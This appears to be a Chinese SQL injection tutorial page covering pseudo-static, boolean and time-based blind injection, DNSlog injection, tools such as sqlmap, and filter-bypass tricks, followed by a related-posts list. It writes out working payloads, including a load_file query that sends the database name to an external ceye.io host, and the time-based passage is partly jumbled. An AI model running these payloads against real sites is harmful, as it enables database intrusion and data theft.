SQL初步注入

十二.伪静态注入

伪静态的网站一般在url中存在数字

十三.盲注(布尔型SQL盲注、时间型SQL盲注)

1.布尔型盲注

复制代码
vince' and  ascii(substr(database(),1,1))=112#'

通过这个方法,就能得到后台数据库的名称的第一个字符的 ascii码,不断测试得出数据库名称

布尔型盲注基本都是通过ascii码来测试的

2.时间型盲注

基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测 vince' and if(substr(database(),1,1)='p',sleep(10),null)# ,在web控制台下,判断出 点)',sleep(10),null# ,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输 入: database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果

十四.DNSlog注入

条件:

1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。

2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \<www.jaden.com> 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行 DNSlog注入

复制代码
select * from member where id=1 and (select load_file(concat('\\\\',(select  database()),'.9fqiop.ceye.io\\abc')))
复制代码
工具:
​
https://github.com/ADOOO/DnslogSqlinj
​
​

十五.SQL工具测试

萝卜头(了解)

Pangolin(穿山甲)

sqlmap(重点)

十六.防御绕过

前端绕过

bp抓包修改后再放包即可绕过

后端绕过

情况一绕过:大小写绕过:SELECT * FROM USERS;

情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select

情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时 候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话 就不会进行intval()的加工,就可以尝试其他注入手法。

情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等

相关推荐
鸿乃江边鸟2 分钟前
Starrocks 的 ShortCircuit短路径
大数据·starrocks·sql
zhojiew9 分钟前
istio in action之流量控制与路由
java·数据库·istio
hykDatabases33 分钟前
Oracle内置函数及自定义函数
数据库·oracle
HelloZheQ35 分钟前
数据库故障排查指南
数据库·oracle
敲上瘾42 分钟前
MySQL数据库与表结构操作指南
linux·数据库·mysql
虾球xz1 小时前
游戏引擎学习第266天:添加顶部时钟概览视图。
数据库·c++·学习·游戏引擎
老友@2 小时前
MySQL 与 Elasticsearch 数据一致性方案
数据库·mysql·elasticsearch·搜索引擎·同步·数据一致性
chunfeng—2 小时前
Redis相关命令详解与原理(一)
数据库·redis·缓存
老友@2 小时前
MySQL + Elasticsearch:为什么要使用ES,使用场景与架构设计详解
数据库·mysql·elasticsearch·搜索引擎·性能优化·系统架构
檀越剑指大厂2 小时前
【SQL系列】多表关联更新
数据库·sql